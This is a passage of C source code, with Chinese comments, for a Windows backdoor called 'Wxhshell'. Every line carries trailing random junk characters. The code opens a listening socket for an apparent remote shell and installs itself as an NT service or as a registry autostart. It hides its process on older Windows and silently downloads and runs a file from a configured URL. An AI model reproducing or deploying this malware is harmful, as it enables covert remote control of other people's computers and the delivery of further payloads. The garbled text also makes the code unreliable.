} PROCESS_BASIC_INFORMATION; Qx EmuiN
mrE>o!
PROCNTQSIP NtQueryInformationProcess; uKIR$n"
iN
u k5
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0""%@X]m
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4yxf/X)
!&KE">3Qu
HANDLE hProcess; 65&+Fv
PROCESS_BASIC_INFORMATION pbi; }VH`\g}
z9AX8k(B6
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E0r#xmk
if(NULL == hInst ) return 0; :]\-GJV5
ezJ^
r,D|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M#],#o*G
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9J49s1
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u`+kH8#
/6N!$*8
if (!NtQueryInformationProcess) return 0; )J\
JAUj
$Ovq}Rexc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :Z;kMrU
if(!hProcess) return 0; "NSY=)fV
p_g8d&]V
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P)=$0kR3
r)qow.+&
CloseHandle(hProcess); $I4JKh
g fv?#mp
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :NwFJc
if(hProcess==NULL) return 0; P]4u`&
z*^vdi0
HMODULE hMod; viS7+E|O
char procName[255]; )lx;u.$4
unsigned long cbNeeded; $*0XWrE
rJd-e96
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F+Hmp\rM#
%`dVX
EO
CloseHandle(hProcess); m<4tH5};d
W6*5e{
if(strstr(procName,"services")) return 1; // 以服务启动 kf",/?s2Z
<e8Ux#x/
return 0; // 注册表启动 =p!Hl#
}
5&U?\YNLa
$>l65)(E\
// 主模块 l=&Va+K
int StartWxhshell(LPSTR lpCmdLine) 1NlpOVq:)
{ ^''3}<Ep
SOCKET wsl; 60p*4>^v
BOOL val=TRUE; zv\T ;_
int port=0; l(tMo7iPa
struct sockaddr_in door; DoJ3zYEk
(TGG?V
if(wscfg.ws_autoins) Install(); [*=UH*:'N
h4M>k{
port=atoi(lpCmdLine); 0s%{m<
2mvp|<"
if(port<=0) port=wscfg.ws_port; }cy<$=c#E_
_H2%6t/V
WSADATA data; \" =@uqar2
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .TRp74
UbwD2>
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; z"@UNypc,
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8nRxx`U\q
door.sin_family = AF_INET; r?n3v[B
door.sin_addr.s_addr = inet_addr("127.0.0.1"); *3Ci4\Ew
door.sin_port = htons(port); @z.HyQ_v
A,|lDsvM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ->YF</I
closesocket(wsl); a: OuDjFp
return 1; h IUO=f
} ^pa -2Ao6
PHn3f;I
if(listen(wsl,2) == INVALID_SOCKET) { o{
\r1<D
closesocket(wsl); ]u O|YLWp
return 1; <NX6m|DD
} M$GZK'%
Wxhshell(wsl); Jp`qE
WSACleanup(); ulnlRx
ji|tc9#6
return 0; v4x1=E
yB^_dE
} c3aF lxW
`zRm
"G
// 以NT服务方式启动 > 1&_-
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6m{1im=
{ =arrp:
DWORD status = 0; .
!;K5U
DWORD specificError = 0xfffffff; !"x&tF
7j L.\O
serviceStatus.dwServiceType = SERVICE_WIN32; Uu3<S
serviceStatus.dwCurrentState = SERVICE_START_PENDING; DWRq \`P
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l+8G6?@]>
serviceStatus.dwWin32ExitCode = 0; y]ZujfW7
serviceStatus.dwServiceSpecificExitCode = 0; .EoLJHL
}
serviceStatus.dwCheckPoint = 0; 8klu*
serviceStatus.dwWaitHint = 0; )y}W=Q>T
%g*AGu`
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o]*#|4-
if (hServiceStatusHandle==0) return; 09u@-
onAC;<w
status = GetLastError(); .q7o7J%
if (status!=NO_ERROR) ;7Y4v`m
{ VpkkiN
serviceStatus.dwCurrentState = SERVICE_STOPPED; pO_L,~<
serviceStatus.dwCheckPoint = 0; ({AqL#x`u
serviceStatus.dwWaitHint = 0; | sio:QP
serviceStatus.dwWin32ExitCode = status; =XT}&D6
serviceStatus.dwServiceSpecificExitCode = specificError; "V/6 nuCo
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j5>3Td.
return; !G3d5d2)C
} 07L1 "
/"<o""<]
serviceStatus.dwCurrentState = SERVICE_RUNNING; zcNv T
serviceStatus.dwCheckPoint = 0; ta 66AEc9
serviceStatus.dwWaitHint = 0; :|?nz$
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WwM/M!98J
} Ui`Z>,0sFi
(AnM_s
// 处理NT服务事件,比如:启动、停止 mxV0"$'Fm
VOID WINAPI NTServiceHandler(DWORD fdwControl) KoNJ;YiKtN
{ -NyfW+T={
switch(fdwControl) *^&2L,w
{ JH;\wfrD
case SERVICE_CONTROL_STOP: 6-<>P E2
serviceStatus.dwWin32ExitCode = 0; 36U
zfBa
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?R}a,k
serviceStatus.dwCheckPoint = 0; gjVKk
serviceStatus.dwWaitHint = 0; ESl</"<J
{ $NtbI:e{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ *O^|QbM
} +5+?)8Ls
return; MdOQEWJ$|
case SERVICE_CONTROL_PAUSE: 5L}qL?S`x|
serviceStatus.dwCurrentState = SERVICE_PAUSED; zLxO\R!d
break; "NamP\hj
case SERVICE_CONTROL_CONTINUE: [nam H a
serviceStatus.dwCurrentState = SERVICE_RUNNING; X_eh+>D
break; =i/7&gC
case SERVICE_CONTROL_INTERROGATE: }t[?g)"M#-
break; Y&Sk/8
}; Z'vGX,:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); KPOr8=Rc
} _cY!\'
Kf$%C"
// 标准应用程序主函数 TYQ7jt0=.-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u!As?AD.
{ D^knN-nZ*
g=
ql 3N
// 获取操作系统版本 ?m?DAd~ZY
OsIsNt=GetOsVer(); =hO0@w
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ty21-0F
X;I;CZ={
// 从命令行安装 sacaL4[_<
if(strpbrk(lpCmdLine,"iI")) Install(); jz%%r Q(
i0%S6vmaS
// 下载执行文件 7aJLC!
if(wscfg.ws_downexe) { 9o]h}Xc
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
N{u4
WinExec(wscfg.ws_filenam,SW_HIDE); lIg;>|'Z5&
} j~eYq
6mnj!p]3
if(!OsIsNt) { xi.L?"^/!
// 如果时win9x,隐藏进程并且设置为注册表启动 y-TS?5Dr]
HideProc(); L`$MOdF{_
StartWxhshell(lpCmdLine); ^nYS@
} #mNM5(o
else i%8I (F
if(StartFromService()) w>:~Ev]
// 以服务方式启动 RY(\/W#$
StartServiceCtrlDispatcher(DispatchTable); MHv2r
else S'NZb!1+
// 普通方式启动 X/_e#H0
StartWxhshell(lpCmdLine); yk4Huq&2
q#$4Kt;
return 0; 3:f<cy
}